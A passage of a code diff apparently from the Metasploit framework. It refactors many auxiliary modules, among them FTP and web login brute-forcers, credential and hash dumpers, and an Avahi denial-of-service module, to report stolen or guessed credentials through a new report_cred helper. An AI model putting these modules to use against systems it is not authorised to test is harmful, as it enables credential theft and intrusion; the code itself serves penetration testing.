|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
last_attempted_at: Time.now,
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def setup_ftp_connection
|
def setup_ftp_connection
|
||||||
vprint_status "#{ip}:#{rport} - FTP - Connecting"
|
vprint_status "#{ip}:#{rport} - FTP - Connecting"
|
||||||
if connect_login()
|
conn = connect_login
|
||||||
|
if conn
|
||||||
print_status("#{ip}:#{rport} - FTP - Login succeeded")
|
print_status("#{ip}:#{rport} - FTP - Login succeeded")
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => ip,
|
ip: ip,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:proto => 'tcp',
|
user: user,
|
||||||
:user => user,
|
password: pass,
|
||||||
:pass => pass,
|
service_name: 'modicon',
|
||||||
:ptype => 'password_ro',
|
proof: "connect_login: #{conn}"
|
||||||
:active => true
|
|
||||||
)
|
)
|
||||||
return true
|
return true
|
||||||
else
|
else
|
||||||
|
|
|
@ -37,6 +37,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
crack("oracle11g")
|
crack("oracle11g")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :nonreplayable_hash,
|
||||||
|
jtr_format: opts[:format]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
def crack(format)
|
def crack(format)
|
||||||
|
|
||||||
|
@ -71,12 +98,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_status("#{cracked[:cracked]} hashes were cracked!")
|
print_status("#{cracked[:cracked]} hashes were cracked!")
|
||||||
cracked[:users].each_pair do |k,v|
|
cracked[:users].each_pair do |k,v|
|
||||||
print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}")
|
print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}")
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => v[1],
|
ip: v[1],
|
||||||
:port => v[2],
|
port: v[2],
|
||||||
:sname => 'oracle',
|
service_name: 'oracle',
|
||||||
:user => k,
|
user: k,
|
||||||
:pass => v[0]
|
pass: v[0],
|
||||||
|
format: format,
|
||||||
|
proof: cracked.inspect
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
ackbpf = "tcp [8:4] == 0x#{(p.tcp_seq + 1).to_s(16)}"
|
ackbpf = "tcp [8:4] == 0x#{(p.tcp_seq + 1).to_s(16)}"
|
||||||
pcap.setfilter("tcp and tcp[13] == 18 and not host #{ip} and src port #{p.tcp_dst} and dst port #{p.tcp_src} and #{ackbpf}")
|
pcap.setfilter("tcp and tcp[13] == 18 and not host #{ip} and src port #{p.tcp_dst} and dst port #{p.tcp_src} and #{ackbpf}")
|
||||||
capture_sendto(p, ip)
|
break unless capture_sendto(p, ip)
|
||||||
reply = probe_reply(pcap, to)
|
reply = probe_reply(pcap, to)
|
||||||
next if reply.nil?
|
next if reply.nil?
|
||||||
|
|
||||||
|
|
|
@ -68,16 +68,41 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
datastore['TIMEOUT']
|
datastore['TIMEOUT']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
last_attempted_at: DateTime.now,
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def user_exists(user)
|
def user_exists(user)
|
||||||
exists = wordpress_user_exists?(user)
|
exists = wordpress_user_exists?(user)
|
||||||
if exists
|
if exists
|
||||||
print_good("#{peer} - Username \"#{username}\" is valid")
|
print_good("#{peer} - Username \"#{username}\" is valid")
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:sname => (ssl ? 'https' : 'http'),
|
port: rport,
|
||||||
:user => user,
|
user: user,
|
||||||
:port => rport,
|
service_name: (ssl ? 'https' : 'http'),
|
||||||
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
|
proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
|
||||||
)
|
)
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
|
@ -45,10 +45,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
p.udp_dport = datastore['RPORT'].to_i
|
p.udp_dport = datastore['RPORT'].to_i
|
||||||
p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few.
|
p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few.
|
||||||
p.recalc
|
p.recalc
|
||||||
capture_sendto(p, rhost)
|
capture_sendto(p, rhost) and print_status("Avahi should be down now")
|
||||||
|
|
||||||
close_pcap
|
close_pcap
|
||||||
|
|
||||||
print_status("Avahi should be down now")
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
p.tcp_sport = sport
|
p.tcp_sport = sport
|
||||||
p.tcp_seq = rand(0x100000000)
|
p.tcp_seq = rand(0x100000000)
|
||||||
p.recalc
|
p.recalc
|
||||||
capture_sendto(p,rhost)
|
break unless capture_sendto(p,rhost)
|
||||||
sent += 1
|
sent += 1
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -103,6 +103,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
||||||
print_status("#{rhost}:#{rport} - Fingerprinting...")
|
print_status("#{rhost}:#{rport} - Fingerprinting...")
|
||||||
|
@ -183,13 +210,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_status("#{rhost}:#{rport} - Recovering Hashes...")
|
print_status("#{rhost}:#{rport} - Recovering Hashes...")
|
||||||
json_info["result"]["resultSet"].each { |result|
|
json_info["result"]["resultSet"].each { |result|
|
||||||
print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")
|
print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:sname => "Apache Rave",
|
service_name: 'Apache Rave',
|
||||||
:user => result["username"],
|
user: result["username"],
|
||||||
:pass => result["password"],
|
password: result["password"],
|
||||||
:active => result["enabled"]
|
proof: user_data
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -182,6 +182,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
return res
|
return res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
# Parse the usernames, passwords, and security levels from the config
|
# Parse the usernames, passwords, and security levels from the config
|
||||||
# It's a little ugly (lots of hard-coded offsets).
|
# It's a little ugly (lots of hard-coded offsets).
|
||||||
# The userdata starts at an offset dictated by the B014USERS config
|
# The userdata starts at an offset dictated by the B014USERS config
|
||||||
|
@ -213,13 +239,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
logins << [accounttype, accountname, accountpass]
|
logins << [accounttype, accountname, accountpass]
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => datastore['RHOST'],
|
ip: datastore['RHOST'],
|
||||||
:port => 23,
|
port: 23,
|
||||||
:sname => "telnet",
|
service_name: 'telnet',
|
||||||
:user => accountname,
|
user: accountname,
|
||||||
:pass => accountpass,
|
password: accountpass,
|
||||||
:active => true
|
proof: accounttype
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
if not logins.rows.empty?
|
if not logins.rows.empty?
|
||||||
|
|
|
@ -151,6 +151,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
return unless tokens = get_session_tokens
|
return unless tokens = get_session_tokens
|
||||||
credentials = []
|
credentials = []
|
||||||
|
@ -172,14 +198,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
|
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
|
||||||
)
|
)
|
||||||
credentials.each do |record|
|
credentials.each do |record|
|
||||||
report_auth_info({
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:sname => (ssl ? 'https' : 'http'),
|
service_name: (ssl ? 'https' : 'http'),
|
||||||
:user => record[0],
|
user: record[0],
|
||||||
:pass => record[1],
|
password: record[1],
|
||||||
:source_type => 'vuln'
|
proof: @cookie
|
||||||
})
|
)
|
||||||
cred_table << [record[0], record[1], record[2], record[3]]
|
cred_table << [record[0], record[1], record[2], record[3]]
|
||||||
end
|
end
|
||||||
print_line
|
print_line
|
||||||
|
|
|
@ -88,6 +88,34 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
||||||
print_status("#{peer} - Get Domain Info")
|
print_status("#{peer} - Get Domain Info")
|
||||||
|
@ -121,14 +149,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
|
|
||||||
credentials.each do |record|
|
credentials.each do |record|
|
||||||
report_auth_info({
|
report_cred(
|
||||||
:host => record[0],
|
ip: record[0],
|
||||||
:port => record[1],
|
port: record[1],
|
||||||
:sname => record[2].downcase,
|
service_name: record[2].downcase,
|
||||||
:user => record[3],
|
user: record[3],
|
||||||
:pass => record[4],
|
password: record[4],
|
||||||
:source_type => "vuln"
|
proof: domain_info.inspect
|
||||||
})
|
)
|
||||||
cred_table << [record[0], record[3], record[4]]
|
cred_table << [record[0], record[3], record[4]]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -145,6 +145,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
Msf::Exploit::CheckCode::Safe
|
Msf::Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :nonreplayable_hash,
|
||||||
|
jtr_format: 'md5'
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
print_status("#{peer} - Checking for a valid node id...")
|
print_status("#{peer} - Checking for a valid node id...")
|
||||||
node_id = get_node
|
node_id = get_node
|
||||||
|
@ -171,15 +198,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
for i in 0..count_users
|
for i in 0..count_users
|
||||||
user = get_user_data(node_id, i)
|
user = get_user_data(node_id, i)
|
||||||
unless user.join.empty?
|
unless user.join.empty?
|
||||||
report_auth_info({
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:user => user[0],
|
user: user[0],
|
||||||
:pass => user[1],
|
password: user[1],
|
||||||
:type => "hash",
|
service_name: (ssl ? "https" : "http"),
|
||||||
:sname => (ssl ? "https" : "http"),
|
proof: "salt: #{user[2]}"
|
||||||
:proof => "salt: #{user[2]}" # Using proof to store the hash salt
|
)
|
||||||
})
|
|
||||||
users_table << user
|
users_table << user
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -198,6 +198,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def parse_client_unattend(data)
|
def parse_client_unattend(data)
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
@ -216,15 +242,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def report_creds(domain, user, pass)
|
def report_creds(domain, user, pass)
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => 445,
|
port: 445,
|
||||||
:sname => 'smb',
|
service_name: 'smb',
|
||||||
:proto => 'tcp',
|
user: "#{domain}\\#{user}",
|
||||||
:source_id => nil,
|
password: pass,
|
||||||
:source_type => "aux",
|
proof: domain
|
||||||
:user => "#{domain}\\#{user}",
|
|
||||||
:pass => pass
|
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -76,6 +76,34 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
nil
|
nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :nonreplayable_hash,
|
||||||
|
jtr_format: 'md5,des'
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
last_attempted_at: Time.now,
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
users_found = false
|
users_found = false
|
||||||
|
|
||||||
|
@ -117,14 +145,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
unless match.nil?
|
unless match.nil?
|
||||||
print_good("Username: #{match[0]}")
|
print_good("Username: #{match[0]}")
|
||||||
print_good("Password Hash: #{match[1]}")
|
print_good("Password Hash: #{match[1]}")
|
||||||
report_auth_info(
|
report_cred(
|
||||||
host: rhost,
|
ip: rhost,
|
||||||
port: rport,
|
port: rport,
|
||||||
sname: ssl ? 'https' : 'http',
|
service_name: ssl ? 'https' : 'http',
|
||||||
user: match[0],
|
user: match[0],
|
||||||
pass: match[1],
|
password: match[1],
|
||||||
active: true,
|
proof: result.body
|
||||||
type: 'hash'
|
|
||||||
)
|
)
|
||||||
users_found = true
|
users_found = true
|
||||||
end
|
end
|
||||||
|
|
|
@ -74,6 +74,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
|
vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def do_login(user, pass)
|
def do_login(user, pass)
|
||||||
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
|
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
|
||||||
begin
|
begin
|
||||||
|
@ -91,17 +117,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
return :skip_pass
|
return :skip_pass
|
||||||
else
|
else
|
||||||
vprint_good("#{rhost}:#{rport} - Successful login with. '#{user}' : '#{pass}'")
|
vprint_good("#{rhost}:#{rport} - Successful login with. '#{user}' : '#{pass}'")
|
||||||
|
report_cred(
|
||||||
report_hash = {
|
ip: datastore['RHOST'],
|
||||||
:host => datastore['RHOST'],
|
port: datastore['RPORT'],
|
||||||
:port => datastore['RPORT'],
|
service_name: 'couchdb',
|
||||||
:sname => 'couchdb',
|
user: user,
|
||||||
:user => user,
|
password: pass,
|
||||||
:pass => pass,
|
proof: res.code.to_s
|
||||||
:active => true,
|
)
|
||||||
:type => 'password'}
|
|
||||||
|
|
||||||
report_auth_info(report_hash)
|
|
||||||
return :next_user
|
return :next_user
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -216,15 +216,40 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_status("Raw version of #{archi} saved as: #{p}")
|
print_status("Raw version of #{archi} saved as: #{p}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def report_creds(domain, user, pass)
|
def report_creds(domain, user, pass)
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => 4050,
|
port: 4050,
|
||||||
:sname => 'dcerpc',
|
service_name: 'dcerpc',
|
||||||
:proto => 'tcp',
|
user: "#{domain}\\#{user}",
|
||||||
:source_id => nil,
|
password: pass,
|
||||||
:source_type => "aux",
|
proof: domain
|
||||||
:user => "#{domain}\\#{user}",
|
)
|
||||||
:pass => pass)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -69,22 +69,45 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil )
|
if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil )
|
||||||
print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
|
print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:proto => 'tcp',
|
service_name: (ssl ? 'https' : 'http'),
|
||||||
:sname => (ssl ? 'https' : 'http'),
|
user: user,
|
||||||
:user => user,
|
password: pass,
|
||||||
:pass => pass,
|
proof: auth.body.to_s
|
||||||
:active => true,
|
|
||||||
:source_type => "user_supplied",
|
|
||||||
:duplicate_ok => true
|
|
||||||
)
|
)
|
||||||
else
|
else
|
||||||
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
|
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
print_status("Verifying that login page exists at #{ip}")
|
print_status("Verifying that login page exists at #{ip}")
|
||||||
uri = normalize_uri(target_uri.path)
|
uri = normalize_uri(target_uri.path)
|
||||||
|
|
|
@ -72,6 +72,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Brute-force the login page
|
# Brute-force the login page
|
||||||
#
|
#
|
||||||
|
@ -96,16 +122,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
if (res and res.code == 302 and res.headers['Location'].include?("frameset"))
|
if (res and res.code == 302 and res.headers['Location'].include?("frameset"))
|
||||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||||
report_hash = {
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:sname => 'OpenMind Message-OS Provisioning Portal',
|
service_name: 'OpenMind Message-OS Provisioning Portal',
|
||||||
:user => user,
|
user: user,
|
||||||
:pass => pass,
|
password: pass,
|
||||||
:active => true,
|
proof: res.headers['Location']
|
||||||
:type => 'password'
|
)
|
||||||
}
|
|
||||||
